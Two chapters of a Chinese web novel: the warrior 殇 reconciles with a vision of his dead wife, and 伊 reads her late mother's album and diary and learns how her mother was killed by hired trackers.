听唐这么一说,殇有些自责。他觉得是自己为与那些无辜的人带来了无端的灾祸。殇想要道歉,但他没有开口,也许是碍于面子而不敢开口。殇叹了口气,说道: “也许我该注意下自己的行为了。今天的事本可以不发生的......” 唐露出笑容,很坦然地说: “错不在你,若不是他们起了歹心,这件事就根本不会发生。最终论因论果,还是贪婪罢了。” 听他这么一说,殇觉得有些感动。但他并未用表情表达出来,他性格不允许他那么做。这时,一旁的杜牧之问了一个很关键的问题。 “后来那人去哪里了?” “那人被我打败了,后来他妹妹就带着他走了。” 殇回答道。听到殇这么说,杜牧之一脸惊讶地问: “你是怎么做到的?” 殇笑了笑,说道: “以武破其身,以德破其魂。” “什......什么意思?” “意思就是我靠实力打败了他,从各个方面。” “真想不到你竟然如此厉害!当初在无人区与你交战的时候,想必你应该是放水了吧!不......是放河了吧!” “当然了,不然你怎么能在此刻陪伴你的家人呢?” “真感谢你啊!殇。” “不用谢我,要谢就谢你的女婿吧。要不是他,你们家会在阴影中度过好一阵子吧。” “对。我得感谢我这个好女婿。要不是他,我们家还真得在阴影中度过好一阵子。” 听自己的老丈人和殇这么说,唐欣慰地笑了。见他笑,殇和杜牧之也笑了笑。看着杜牧之和唐,殇感觉是看到了一对父子。二人之间没有血脉的相承,但彼此之间却有着深深的羁绊。殇又回想起自己的儿女来,他与他的儿女之间也没有血脉的相承,也像唐和杜牧之一样彼此之间有着深深的羁绊。看到唐和杜牧之之间的温馨,他仿佛看到了曾经的自己。殇默默地为他们祝福,希望他们之间的这份亲情能够天长地久。 “真是的,看着你们总感觉有些感动,也许是想到曾经的我了吧......我还有事,我得先走了。” 殇这样说道。听殇这么说,唐和杜牧之笑着与其告别。在感谢的话语之中,殇离开了这间病房,踏上了归家之路。 走在路上的时候,殇仔细地回想着自己的过去。银幻之梦帮助他想起了许多东西,他的妻子、孩子.......以及那些他不想去面对的过去。他突然想到了自己的妻子,他不由得皱紧了眉毛。他妻子的美貌还停留在他的脑中,可是他妻子的名字他却怎么想也想不起来,只知道她姓东方。想着想着,不知不觉间就走到了家门口。 在回到家中后,他小歇了一会,然后再次回想自己的过去。想着想着,他想到了自己的儿子东方俊。他有种感觉,当年东方俊可能并没有死。他突然再次幻视,看到东方俊出现在自己眼前。恍惚间,东方俊的身影与碧蓝苍穹的身影重合在了一起,东方俊的身影逐渐变大,最后几乎与碧蓝苍穹的身影完全重合。殇猛地后仰一下,吓得全身冒出了汗。殇慌张地环顾四周,发现刚刚看到的一切都是幻觉。他叹了口气,说道: “还好只是幻觉!那绝不可能的!对......绝不可能的。” 在半夜十一二点的时候...... 殇突然惊醒,然后瞬间没了困意。他从床上坐起,突然发现自己的床变得豪华无比。他环顾四周,发现他的整间卧室都变成了皇家配置。他一脸懵,以为自己是在做梦,于是躺在床上继续睡觉。可翻来覆去半天,就是睡不着觉。他再次从床上坐起,突然发现自己的床边坐着一个人。他被吓了一跳,一个翻滚下床,然后抄起屋内的棒球棍,充满敌意地看着那人。也就在这时,殇看清了对方的长相。 一头雪白的长发配上一身漂亮的彩袍、一对灿若星辰的眼眸配上一对弯月一样的眉毛,黄皮肤配上精致的五官,定是一位来自富家的漂亮小姐。 “好久不见,我的夫君。” 一声清甜的问候从那人口中传出。她的样子殇永远不会忘记,她是殇已故的妻子,是殇这辈子最爱的女人。殇本能地叫出了她的名字: “东方子薇!” 东方子薇见殇还认得自己,捂着嘴偷笑,似乎这是她意料之外的事情。见到已故爱人的殇,很激动又有些不知所措。他想说什么,但想说的太多,不知从何处开口。东方子薇见殇如此,笑着调侃他: “夫君,你怎么像个小姑娘似的扭扭捏捏呢?嘻嘻......你呀,还是老样子啊。时而像个男人一样无所畏惧,时而又像个小姑娘一样扭扭捏捏,让人捉摸不透。” 殇被这么一说,有些不好意思地挠了挠头。过了片刻,他终于憋出一句话来。他对东方子薇说: “能再见到你真好啊,子薇。” 东方子薇笑着回应他: “嗯。时隔多年,你我终于有机会再度相见。我还记得你我最后一次相见时,是几十年前的事情。” 东方子薇下了床,慢慢走到屋内的小桌旁,用手指轻轻地抚摸了桌上的绿植的叶子。东方子薇笑着对殇说: “几十年了,你的变化很大,但你的心从未变过。我能感觉到当初那个愣头愣脑的小子还活着,而且活得一天比一天好。” 抚摸完绿植,她转头看向殇。她的表情很平和,没有见到许久未见爱人时的激动,反而是从容与淡然。她的眼睛不会骗人,殇能看得出她眼神之中对殇的那份思念与爱意。东方子薇继续说道: “你我夫妻多年,我也了解你的性格。我知道你曾犯了很多错,让很多人白白死去,但你终究不还是为了天下苍生吗。我能理解你,我的夫君。从你为了大家而与殖民者宣战开始,你就将你的一辈子奉献给了和平。” “子薇......” “虽然我已命归黄泉,但我的幻象还能在你的脑中停留,在你需要的时候为你提供温暖与庇护。我怕夫君你在那天会走上歪路,或是精神崩溃。因为再强大的人也是能被生活给冲垮的!” “谢谢你,子薇......” “感谢的话对你身边真正值得感谢的人说吧。我的夫君。” “子薇,你恨我吗?” “傻瓜,我什么时候恨过你呀?如果当初要不是你接纳了我,我和我的孩子还不知道会怎样呢。因此啊,我更不会去恨你了。” “我那时的弱小让你和孩子死亡!你不会记恨于我吗?” “不会的,夫君。你尽力了,我不怪你。每个人的力量各不相同,有些事上尽力而为也并不一定达到。你只是做了你能做的。” “子薇......” “你说过,参透生死的人才配拥有真正的武魂。你不必在纠结过去,向前看吧,去拥抱彩虹,追逐阳光吧。生活的答案就在你的心里。更何况你现在不还有要守护的事物吗?” “我明白了,子薇。谢谢你告诉我这些。” 东方子薇走到殇的身前,紧紧地抱住了殇。殇见了,也紧紧地抱住了她。东方子薇笑着告诉殇: “你永远是我的英雄,殇。” 说完,东方子薇化成无数红蝴蝶飞走了。看着眼前的景象,殇没有伸出手挽留,而是选择放手。殇很坦然地说道: “让它走吧,让它走吧......去拨云见日,去迎接新的生活。” 殇开始正视自己的过去,开始接纳他不敢去面对的那个自己。自我的印记在他心里逐渐清晰起来,他彻底找回了那份德义。 “何以用武?何以用德?” 这个问题,他给出了自己的答案。 “方知生死,即知武魂。循之大道,方为武者。念天下疾苦而以武除恶,肃苦海血仇而方定天下。念仁义之道而行之武道,破苦狱枷锁而以理济世。以武破其身,以德破其魂。斩断循环,结束苦难!” 殇猛地睁开眼睛,发现周围的一切又变回了之前的样子。他发觉刚刚的一切是虚无缥缈的幻境,不禁有些失望,但又有些高兴。这时候,殇发现自己的手中有一颗很小的发光水晶。他看向这个发光的水晶,思考着这个水晶的由来。此时,这颗水晶像天空中的一颗星星一样闪烁,看着它,殇感觉周围的空间扭曲错位了。殇似乎明白了...... 这块水晶慢慢变暗,最后熄灭。 当初在与银幻之梦分别的时候,银幻之梦与他握了握手。也就是那时,这块水晶悄悄地黏在了殇的手上。殇回想起刚刚的幻境,感觉那就像是做了一场梦。他小心翼翼地将这块水晶放在床头柜上,然后看着它感叹道: “有时候啊,幻境跟梦境是一样的。不过梦可以不可求罢了。幻术不光是能拿来杀人,还可以拿来帮人克服心魔。” 殇看着窗外十分热闹的城市,露出了笑容。他笑着说道: “谢了,银幻之梦。” 随即殇倒在床上,闭上眼,很快就睡着了。这次他做了个梦,梦到了自己和家人,梦到了他所期望的那个世界。 window.fkp = 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伊点了点头,说了声“嗯”。然后就在屋内找寻能带给她回忆的东西。无颜客在一旁静静地看着,同时也打量起了这里。他曾见闻过高等地区的奢华,能明白这里与高等地区的差距。看着屋内朴实无华的陈设,他感叹道: “生长在沃土之上的伊娜前辈是怎样忍受这里的贫瘠的?真佩服她这强大的适应能力,想必当初吃了不少苦吧。” 伊在屋中漫步,搜寻着她所想要的东西。她先去了厨房。厨房里的一切都是她所熟悉的,大到厨用电器,小到锅碗瓢盆。此时,伊发现那些刀具已经是锈迹斑斑,岁月的沧桑感笼罩在其上。 伊: “这是妈妈的刀具,已经是锈掉了。毕竟多年未有人来过,刀具不保养久了就会这样。” 这时,她注意到了厨房旁的冰箱。她走上前去检查了下这个冰箱,发现冰箱门打不开,无论她怎样用力也打不开,仿佛是从内部锁死了。她很疑惑地挠了挠头,思考了片刻,然后耸耸肩离开了。 伊: “这么久没来,里面应该长蘑菇了吧。也许是调皮的蘑菇们锁住了冰箱门......” 离开厨房,她去了她母亲的卧室。卧室中的一切都附上了一层灰衣裳,许久未有人到来的破败感显露在卧室的每个角落。伊推门进来时,激起的一阵风吹起了屋内的灰尘,很快就形成了一片尘雾。伊咳嗽了两声,用手扇了扇面前的尘雾,然后慢慢走了进去。 伊: “这里是妈妈的卧室,也是我出生的地方。也许......我还能在这里找到些什么。” 待尘雾完全消散,伊在卧室里走了一圈。这间卧室还保持着最后一天时的样子,卧室内的物品摆放还是那时的那样子。伊见此吐槽道: “想不到我叔叔竟然会保护好这里,很神奇,这很符合他的作风。” 接着伊开始在卧室中小心翼翼地寻找着跟她母亲有关系的东西。起初伊找到的都是些普通的生活用品以及少到可怜的化妆品。 伊: “妈妈很少化妆,要化也就抹抹眼线,化的都是轻状。妈妈一般出门只是好好地洗把脸就完了。妈妈不像别的女人,要化很浓的妆。妈妈喜欢自然美,我也一样。” 后来,当伊打开衣柜的时候,她惊喜地发现衣柜里面还有一件皇家研究员的大衣,大衣的上还挂着她母亲的名片。伊拿起这件大衣,好好地欣赏了一番。殇王国的国标赫然纹在大衣背后,高档的布料让这件大衣摸起来的手感格外丝滑,袖口处的兰花金纹装饰尽显高贵。这件大衣是买不来的无价之宝,只有殇王国的顶尖人才才配去穿。伊之前有一件,不过她那件是她舅舅给她的,而非是像她母亲一样靠实力得来的。 伊: “在妈妈还活着的时候,人们称呼她为世界之光,是能拯救世界的大英雄。妈妈长得漂亮,又才华横溢,是真正的女中强人。妈妈配得上这份荣誉!作为她的女儿,我也要去成为像妈妈一样的人!” 伊打了打这件大衣上的灰尘,然后将它披在了自己身上。披着它,伊觉得信心满满,似乎这件大衣上的荣耀光辉在她身上所延续。继承母亲的意志,为世人带来光明,是她的梦想。这份意志的传承,经历三代。由大炼金师伊洛斯传递给她的母亲伊娜,再由她的母亲传递给她。伊给自己加油打气,露出了坚毅的表情来示决心。鼓励完自己,伊慢慢关上衣柜门,这时候,她惊喜地发现在原先大衣的位置上有一个白色相簿。这个相簿一直被压在这件大衣下面,一直未被人注意过。此时若不是伊眼光犀利,她错过了这个相簿。伊拿起这个白色相簿,这个相簿沉甸甸的,而且很厚,里面貌似放了许多张照片。伊不顾脏,直接坐在床上,打开了这个相簿。 相簿中有很多照片,前几页都是伊娜小时候的照片。从十一二岁一直到长大成人,这几页记录了伊娜的成长历程。伊往后翻......第一次上学到大学毕业、第一次恋爱到分手快乐、考上博士到成为皇家研究员、因战争流离失所到后来的安稳幸福的生活......这相簿就像一只时光机,记录了伊娜的一生与她在这一生中的各种成就。 伊: “原来母亲的一生是这样的一波三折啊。” 再往后翻,一张全家福从相簿之中滑了出来。伊拿起这张全家福,仔细一看。全家福上是她母亲与她叔叔碧蓝苍穹以及她爷爷伊洛斯在殇王国皇家研究院处的合影。照片中的母亲和叔叔都还很年轻,尤其是她叔叔。照片上的他与现在比起来要年轻了不知多少年。伊将全家福翻转过来,发现背面还写着一行字:“我们幸福的一家”。 伊将这种全家福夹在前一页,然后看起这一页。从这一页开始,后面的十几页都是伊娜年轻时与朋友家人的合照。其中有很多人与景物伊不认识,伊能从这些照片之中看出母亲一年一年的变化。她母亲稚嫩的脸庞在时间的磨合下逐渐显露出些许沧桑来。翻着翻着,伊翻到了有金色储罐的那几页。这几页之中的照片上都有这个金色储罐的身影,与家人朋友的合照变得愈来愈少。往下翻,甚至只有与金色储罐的合照。那段时间,似乎她母亲已经放下了自己的生活。金色储罐里有一颗星星,随着伊的翻动,这颗星星茁壮成长,它发出的光越来越亮。从始源林海了解到自己身世的伊,此时心里是不一样的感动。毫无疑问,那颗星星就是她。 伊: “妈妈,你真的很伟大。为了天下苍生,你放下了你的一切。我能成为你期愿中的星火吗?我想我一定会做到的。为了我们和爷爷的梦想,为了这个世界上每一个需要光明的人,我一定要点燃星。” 再往后翻,就是她母亲来到这里后拍摄的生活日常了。在她母亲来这里拍摄的第一张照片的底下这样写道: “我真正地创造了奇迹!光之种子在我体内发芽了,我当上妈妈了!虽然很不科学,但我仍旧很庆幸。无论我的境遇如何,我都要将她生下来。她是我们所有人的希望!” 看到这句话的时候,两滴热泪落在了相簿之上。不知不觉,她就流下了两行热泪,不是哭泣而是感动,是她母亲的行为与话语感动到了她。看到两滴泪痕后,伊赶忙擦了擦自己脸上的泪水,然后继续往后翻。“怀胎十月,诞下一女”。这是接下来的几页的内容。这几页的内容让伊也切身感受到了她母亲那些时日的幸福,作为母亲的幸福。 再往后翻,就是伊出生之后。同样是在第一张照片底下,她母亲又写了两行字。内容是: “你是我的天使宝贝,伊。” 几滴泪落在相簿上。伊抬起头来好好擦了擦脸上的泪水,又做了个深呼吸,平复了一下情绪。伊此时的手有些颤抖,她心中的感动已难以表达。她忍住泪水,继续往后翻。在照片中出现了伊的身影。从被母亲怀抱着的婴儿,到会下地走路,再到能说会道。伊的成长也被计入了这本相簿。当看到这些时,伊感慨万千。当初那个柔弱的小姑娘,已经长成了今天坚强的女战士。这本相簿记录了两代人的一生,如一台能记录时间的刻录机。去看它里面的相片就像去看人的一生,就像一台神奇的时光机。 伊心里: “如果母亲看到我现在的样子,她一定会为我感到骄傲吧。” 翻到最后一页,是一张很大的合照。合照上是她母亲与曾与她母亲一同奋斗的战友,她们背后还有个亮眼的殇王国国标。伊拿起这张照片,她的心情此刻是复杂的。伊翻转这张照片,同样的,照片后面也写着字。 “你们都是我最爱的挚友!光之种子研究部全体成员。” 严格意义上来说,这照片上的每个人都是伊的亲生父母。伊能出现在这个世界上,离不开这张照片上每个人的努力。 伊将这张照片放好,然后合上了相簿。她擦了擦脸上的泪水,然后带着这本相簿走出了卧室。见到伊落泪,无颜客问道: “伊,你怎么了?为何而流泪?” 伊摇摇头,从脸上挤出笑容,告诉他: “没什么。” 无颜客见伊不想说,就没追问下去。 最后的一个房间,是她的卧室。推门进去,放眼望去大部分都是粉红色的。粉红色的墙壁、粉红色的床、粉色的衣柜......就写字桌及旁边的椅子还有地板和天花板不是粉色的。这里可谓是粉气满满,伊看了觉得有些羞耻,脸上不禁多了一抹红。她忍不住吐槽道: “原来我是那么喜欢粉色吗?” 她走进自己的卧室后翻找了一阵子,找到了自己儿时的玩具和几身儿时的衣裳。找着找着,她走到了屋内的写字桌旁。她偶然看到写字桌底下的抽屉有条缝,出于好奇,她就拉开了那个抽屉。抽屉内有着一个厚厚的日记本,日记本的封面上有她母亲最爱的水仙花。她很惊喜地拿起了这个日记本,然后慢慢翻开。这本日记的署名是她的母亲,字迹也是她母亲的字迹。 她坐在了写字桌旁的椅子上,然后看起了这本日记。日记上每页之间至少有一周的时间差距,似乎她母亲忙于什么而无法做到天天去写日记。也许只有在她母亲遇到什么事时,她母亲才会去写这本日记吧。 日记中: 通历15年7月18日,晴天,心情不佳。 我的哥哥太过偏执了!竟为了目的而这样不择手段。还好有金的帮助,不然我和种子一定逃不出哥哥的魔爪。气死我了!这下家回不去了,只能来这里生活了。所幸有好心人帮助,让我能成功逃到这里。可惜我不能通过任何方式透露他的名字。但无论如何,感谢你,好心人x哥。 ...... 通历15年7月30日,小雨,心情激动。 真不敢相信!那个小种子竟然在我体内发芽了!真是奇怪呢,它是怎么做到转移到我那里的?这设计的太不科学了!我都没想到。从这一天开始,我就算是一位母亲了。很不合理,但我喜欢。我要把握住这个机会,让希望的花朵绽放在世间。 ...... 通历15年9月2日,多云,心情糟糕。 我今天用公共电话给我哥哥通了电话,简单问候了他几句。没想到他竟然对我阴阳怪气起来!还大放厥词,说要三天之内把我抓回来!把我给气够呛!差点就骂娘了。我心胸宽广,大人有大量,我只是回怼了我哥几句,就挂了电话。后来想来,我不该那么生气。专业知识告诉我孕期生气会影响到孩子的发育。哼,以后我再也不跟我哥说话了! ...... 通历15年12月11日,中雪,心情一般。 不知不觉过去五个月了,我也逐渐习惯了这里的生活。这几天下了雪,我怀着孕行动不方便,珍珍和明哥帮了我挺多忙。要是有时间,我一定得让他们来家里吃顿饭!不知道哥哥他们现在怎么样了?他那个“天才”应该还想着他的宏伟计划,等着我自投罗网吧。希望他那边能过得好些吧,最好好到没时间来找我来。 ...... 通历16年6月13日,晴天,心情极佳。 历经了昨晚的痛苦与各种波折,我生下了你,我的宝贝。我为你取名为伊,象征我们炼金师世家最大的荣耀。你是我的天使,宝贝。我将用妈妈的一生来去抚育你长大,教会你做人的道理与坚强。我知道你生下来就背负为世界而牺牲自我的使命,因此我要在你完成使命前好好地爱你,让你不留遗憾地化作那耀眼的黎明。 ...... 通历17年1月11日,小雪,心情极佳。 今天我的宝贝会爬了!爬得还挺快呢。好开心呀!头一次这么开心过,也许这就是属于母亲的快乐吧。宝贝,你一定会茁壮成长的呦! ...... 通历17年5月3日,大风天,心情极佳。 今天我的宝贝叫我妈妈了!好开心啊!想必再过一段时间就会走了吧。伊宝的头发长了挺多,都是雪白雪白的,一看将来就是个漂漂亮亮的美人。希望宝贝你以后能漂漂亮亮的! ...... 通历17年11月23日,晴天,心情极佳。 今天我的宝贝会走了!能走好几步呢!宝贝练习走路的时候不小心摔了几跤,所幸没磕到头。当时吓死我了,还好伊宝聪明!我爸爸曾说,我小时候也是这样的。他那时提起那段时光时,总是不明所以地笑。现在我才明白,他的笑是有理有据的。为人父母时,我才明白了父母的心境。 ...... 通历19年7月1日,晴天,心情极佳。 今天,我终于完成了我一直以来的梦想:“拉着伊宝的小手在公园里散步。”这时项伟大的成就!伊宝有些不习惯不被我抱着,放下地了老是要抱抱,不理会她吧......就急了,一急就要哭。这么一弄,我就得抱着她苦口婆心地安慰她。一被我抱着吧,就跟懂事了似的,不一会就不哭了。但一放下吧,又变脸了!孩子这东西吧,太奇妙了!我越来越能理解父亲的不容易了。还好后来跟伊宝“商量”半天,她不知怎么得就同意了!之后伊宝乖乖地拉着我的手在公园里散步。哎......既当爹又当妈的日子可真不轻松啊!但还挺快乐的,毕竟我身边有这么个小天使呢。 ...... 通历20年3月12日,阴天,心情一般。 伊宝快到了上幼儿园的年纪了,可我们娘俩的身份很特殊,不能带她上幼儿园。我想带她去,可是.......要是我那脑瘫哥哥不再满世界的找我就好了,我也能带着她去更好的环境去生活。算了,她以后的教育我来去教!我可是王殇大学的人才!我的孩子我自己教!宝贝,妈妈保证让你不比别的孩子差! ...... 通历21年6月13日,多云,心情极佳。 今天,我终于下定了决心,要给伊宝过一场生日。虽然家里并不怎么富裕,但我还是要为她挑选最好的礼物和蛋糕。生日宴上,我得给伊宝准备一顿丰盛的菜肴,让她开开心心地过一次生日。 祝伊宝生日快乐! 过完生日,伊宝挺开心。生日宴上伊宝把奶油抹得我一脸都是,但我挺开心的。伊宝开心我就开心。明年,我还给伊宝这样准备。宝贝,你的快乐就是妈妈最大的快乐。 ...... 通历25年8月13日,晴天,心情复杂。 今天在我工作完回来时,看到有几个高领白西服的人在街上徘徊,好像是哪个协会的人。我一走一过时不小心跟他们当中一人对视上了,她看我的眼光好奇怪哦!凶凶的,好像不怀好意。希望他们别是哥哥派来抓我的人!我不想让伊宝落到我的哥哥手里。 ...... 通历26年10月11日,大风天,心情复杂。 那些协会的人出现在街头两个月了,他们好像真的就是来找我的。东城这几个月来都很平静,这里也没什么大人物到来,他们的出现一定是为了什么!可能是因为我吧,毕竟我哥哥一定会花大价钱买我回去的。希望一切安好,可别出什么事。 ...... 通历28年2月29日,小雪,担忧。 今天街上乱糟糟的,老是有人的惨叫声。新闻上说那些AI出现了逻辑错误,开始到处杀人。这几天还是不带伊宝出门了吧,伊宝的安全是第一位的。家里的食物储备不多,只能吃个三天。不好意思麻烦珍珍和瓜哥帮我带,我得想个周全的办法。饿着谁也不能饿着我的宝贝。 看完以上的页数,到了剩下这几页的时候,先前伊所摸索出的规律完全改变了。上面的字迹变得有些仓促,似乎那时的情况很紧迫。 日记最后的几页: 通历28年6月1日,晴天,心情不好也不坏。 今天是儿童节,我带伊宝去市中心新建的艺术馆里溜达。艺术馆里的美术品很漂亮,那些艺术让伊宝感到好奇,伊宝总是看着那些艺术品笑。伊宝对艺术有点感兴趣,这是件好事!逛完艺术馆,她挺开心,我也挺开心的。 在回家的时候,我感觉到有人在注视我和伊宝,我们好像被某些人盯上了。我猜应该是哥哥那边派出的人。时隔多年,他还是没有死心吗?我想我得采取些必要措施了。 ...... 通历28年6月5日,大风天,害怕与担心。 最近在家的周围出现了很多不认识的黑衣人,他们在家附近徘徊,让我很害怕。妈妈很担心,伊宝。妈妈怕那天会与你分开!那种危机感越来越强了,那些黑衣人的魔爪离我越来越近了。希望到时候被抓走的是我,而不是伊宝。哥哥的脾性古怪,我怕哥哥把你带走后会拿你做些什么实验,毁掉你的一生!那时候妈妈没办法保护你,只能眼睁睁地看着你出事。但愿一切安好,别出什么事。 ...... 通历28年6月13日,大雨,无法描述。 伊宝,妈妈很对不起你,今天的生日你只能自己一个人过了。我提前为你准备了蛋糕和礼物,你自己一个人坐在桌子上吃蛋糕吧,礼物里是你最喜欢的娃娃。很抱歉,伊宝。妈妈也不想在今天与你分开,可现实不允许妈妈停留在你的身旁。那样妈妈会给你引来一群坏人的。妈妈不想让你跟妈妈一起受罪,伊宝。 那些追踪者已经追到家附近了。为了伊宝你的安全,妈妈要去引开他们这些坏人。我打电话通知了兵哥和瓜哥,他们应该会很快赶到这里,把你带走。以后跟着兵哥和瓜哥生活,你一定要听他们的话!也许妈妈这一走就再也回不来了,请你不要因此怪妈妈。妈妈也是迫于无奈。 这本日记我藏在你的房间中,等兵哥和瓜哥来了让他们拿走。等你长大了,就能理解妈妈了。要是你能看到这些,请你记住:妈妈永远爱你!伊宝。 合上日记本的瞬间,伊潸然泪下。那份深沉的母爱,让伊感动得说不出话来。儿时的她从来都没觉得母亲的爱能如此深沉,但当她长大成人,重新再审视这份爱的时候,她才觉得母爱能如此深沉。那份纯真且高尚的爱意,没有去亲口诉说出其价值,而是倾注在生活的点点滴滴,无时不刻都在温暖孩子的心。就像太阳一样,不必刻意去感受光有多耀眼、光有多温暖,只是平常的一走一过,不知不觉就能感受到了。 伊闭上眼睛,任泪水纵横。此时此刻,她的泪水也有温度,如她的心一样是温暖的。这时她的脑中再次浮现出了她母亲的身影。那身影对着她笑,笑得格外甜美、格外灿烂。她伸手想去挽留,她母亲抿嘴一笑,接后化作无数水仙花的花瓣,随风逝去了。但唯有一片花瓣,是向着她飘来的。她轻轻抓住这片花瓣,将它托在手心。花瓣化作一颗星星,从她的手心处升向天空。她抬头去看,看到满目星辰。这片花瓣所化成的星星,飞入星河,与万千星星一起照亮了夜空。此时此刻,她的心境也如这星河一般。 奇异的光芒再次出现,她也化作了一颗星,一颗照亮世界星星。这颗星没有升入星河,而是停留在人间。她的光很微弱,不足以照亮这个世界。但她心底的那份信念,能支撑着她将这份光洒向整个世界。 她闭着眼,泪水浸湿了她的衣领,可她却没有在意。她抽泣着、沉默着、思考着,在此时此刻的她心如止水,任泪如雨下。泪水像是她心里的一场雨,淅淅沥沥地下着,洗刷她的心灵。半晌沉默之后,她缓缓开口,她此时此刻的情绪凝聚成了最深情的一句: “妈妈,我爱你。” 这时候,无颜客打开了房间的门。无颜客告诉她: “伊,你看看这是谁?” 无颜客往后一撤,接着一个熟悉的身影出现在伊的眼前。 “伊小姐,洒家来看看你。” 他的出现让伊很是意外。他看了看伊,注意到了伊怀里的那本日记。他叹了口气,告诉伊: “伊小姐,看来你都知道了。那洒家就实话实话了......很对不起你和你母亲,我和重兵赶到这里的时候,你已经被人接走了。” 伊哽咽了一下,摇了摇头,深情地对他说: “谢谢你,瓜哥。谢谢你为我母亲做出那么多!” 他见伊如此,有些不好意思地笑了笑。他看了眼身旁的无颜客,无颜客耸了耸肩。他转过头来,面色严肃地告诉伊: “你母亲的死是一场意外。” 伊立马转过头来去看他,眼神之中满是不可思议。见伊这个反应,他有些面露难色,但还是继续说了下去。 “你叔叔碧蓝苍穹雇佣了名为‘追踪者’的三星协会前去活捉你母亲。那个协会里面大部分都是调解人或介入人,少部分是都市猎人。他们本职工作是暗杀或强袭,很少能接到绑票这种活。接到你叔叔这一单的时候,他们立马就采取了行动。在28年6月13号这天,在活捉你母亲的过程中,因为会员疏忽,未将炼金狙击枪的弹药换成麻醉弹,最后导致那把枪在打中你母亲后不久,你的母亲就停止了呼吸。” 说到此处,他停顿了片刻。他去看伊的反应,发现伊的表情变化不大,似乎对他说的一切都很信服。于是他继续往下说: “因为你叔叔这一单的钱数非常巨大,就导致追踪者带走你母亲的时候很仓促,检查生命体信号的步骤只进行了短短的一分钟。当他们发现你母亲已经身亡的时候,你母亲早已死去多时了。后来你叔叔知道了这件事之后,雇佣了“致命艺术”,也就是红黄蓝三位收尾人,去肃清了‘追踪者’,让他们为了你母亲的死付出了代价。为了挽救你母亲,你叔叔违反了殇王国内部的规定,擅自用了十分隐秘的t协议,将你母亲还原到了死亡前的样子。可即便如此,你叔叔也没能挽回你母亲的生命。最后他因为触犯法规,被肃清者逐出了殇王国国家炼金师部。至此,王殇十一星变成了王殇十指。你叔叔离开炼金师部之后,性格变得奇怪与偏激起来。虽被除了职,但他还是殇王国国企的老总,他还在为自己祖国的经济做着奉献。可他已经没了回去的希望。他也不梦想那些了......” 听完这些,伊的心里五味杂陈。她回想起自己被带走时自己叔叔看自己的眼神,那不是看待实验品的冰冷,而是看待家人的温和。那时候她叔叔真的不知道她就是那光之种子吗?也许知道,但为何不说呢?在她离开母亲之后,她叔叔就照顾起了她。她叔叔照顾她也同她母亲一样,没有一句怨言,一直照顾到她长大成人。在她在离开碧蓝世界时,她叔叔曾劝她留下,说是并非要去杀死她,只是想提取出她体内核心能量收集装置的应用数据而已。她那时没有相信她叔叔,选择一意孤行地离开。现在想来,她叔叔也许真没有去害她的必要。 伊再次沉默,他见了,有些好奇地问伊: “你恨你叔叔吗?” 伊冷冷地回答他: “恨!” 但随即话锋一转。 “但我也爱他,因为他是我的家人。” 他听到这个回答,笑了笑,慨叹道: “你是真的长大了啊。伊小姐。” 这时,伊露出一抹平淡的微笑,似乎是放下了许多。伊微笑着告诉他: “一码归一码。恨一个人并非不能去爱那个人。” 之后,无颜客一行人离开了这间屋子。走时,无颜客将钥匙交给了伊,让伊去锁门。伊将钥匙插进钥匙孔,然后转了几圈,将门锁死。锁完门,伊笑了。对于她来说,锁住的不是一扇门,不是一个房间,而是她心中为数不多的美好。这间屋子承载了一段美好的童年与过去,是她曾经的家,也是心灵的庇护所,还是她能自由自在奔跑的原野。伊抱着那本相簿与日记,笑着对这间屋子道别。道别完,她深情地对这间屋子说道: “不知在何时,我还能用钥匙打开门,重新感受到那份温暖。我想,也许那把钥匙就在我身边,只是我没有拿起它罢了。再见了,我的家。希望你不要孤独,我的心永远与你相连。” 说完这些,伊的眼角又泛起了泪花。一旁的无颜客见了,调侃道: “刚哭完又要哭吗?你的泪真是富有啊。” 听无颜客这么说,伊赶忙抹了抹眼角的泪,而后笑着说道: “哎呀!真是的,差点就又要流泪。真是讨厌,总管不住。他见了,又得去调侃我是个菜鸟了。” 此时无颜客悄悄背过头,按了下太阳穴处的装置开关。然后无颜客转过头来,好奇地问伊: “我很好奇,你有什么想对母亲说的吗?” 伊有些疑惑地反问他: “嗯?为什么突然这么问?” 无颜客很自然地回答道: “此情此景,你不得说点什么吗?我这么一问,能让你心情好受些。你觉得我说的对吗?伊。” “对。” “那你说吧,我听着呢。” “妈妈,感谢你对我的养育之恩,感谢你为我所做出的一切。我一定会继承你的意志,为这个世界带来希望的!我会成为你的骄傲的!你的孩子永远爱着你,我亲爱的妈妈。我爱你,我的妈妈。” “Good!说得很好。那么接下来,我们该离开这里了。” “接下来去哪里?” “去餐馆,我请你吃顿饭。” “啊?!真的吗?堂堂都市之星,要请我吃饭!这不好吧......” “这有什么?都市之星也不是人吗?” “但惘他们......” “赛博人也算人。” “好吧。” “你想吃什么?我请你。” “吃什么......面条吧。” “选点贵的,这些东西我估摸你都吃了不下十顿了。” “那就去吃烤肉吧。” “行,说走就走。走吧!” ...... 吃完烤肉后,伊和无颜客来到了沃兹河旁边的公园之中歇息。歇息没多久,伊就和无颜客聊起了天。伊笑着对无颜客说: “感谢你今天带我去了趟故居,还请我吃了顿烤肉。” 无颜客耸耸肩,告诉她: “没事,毕竟我们站在同一条战线上。” 一听他这么说,伊就好奇地问道: “站在同一战线?” 无颜客没做出回答,只是很严肃地告诉她: “以后你会明白的。” “对了,你和殇认识吗?” “殇?认识。而且我以后还得抽时间找他聊聊呢。” “哦。” “今天我找你来,除了带你去看你的故居以外,还有别的目的。” “说来听听。” “你认识卡娜铃兰吗?” “啊......认识。” “她的灵魂没有消逝,而是附着到了一个东西上。黄泉送葬团的人要找到她的魂体,不知要干些什么。” “啊?可是.......哦,没事。” “地狱列车每十四天就会来一次人间,黄泉送葬团的七位冥河战士就会借此抵达人间,在大半个城市的范围内寻找她的魂体。” “我听闻过卡娜铃兰与她丈夫的故事,很感人不是吗?我碍于身份,不能明面上去帮助她和她丈夫。但在私底下,我还是能帮些忙的。” “哦。你人挺好的。” “我很清楚她的魂体在哪里,以及......” 无颜客在此停顿,然后转过头来,用一种奇怪的眼神看着伊。这种眼神告诉伊,无颜客可能知道一切。无颜客继续说道: “我知道谁与她的魂体对过话。后面的,还用我说出来吗?伊。” “不......不用了。” “希望你可以完成你与她的诺言。” “我会的!” “但愿人长久,千里共婵娟。” 说完,无颜客起身离开了。看着无颜客的背影,伊不由得肃然起敬。名为都市之星,真就像星辰一般能给人带来光明。 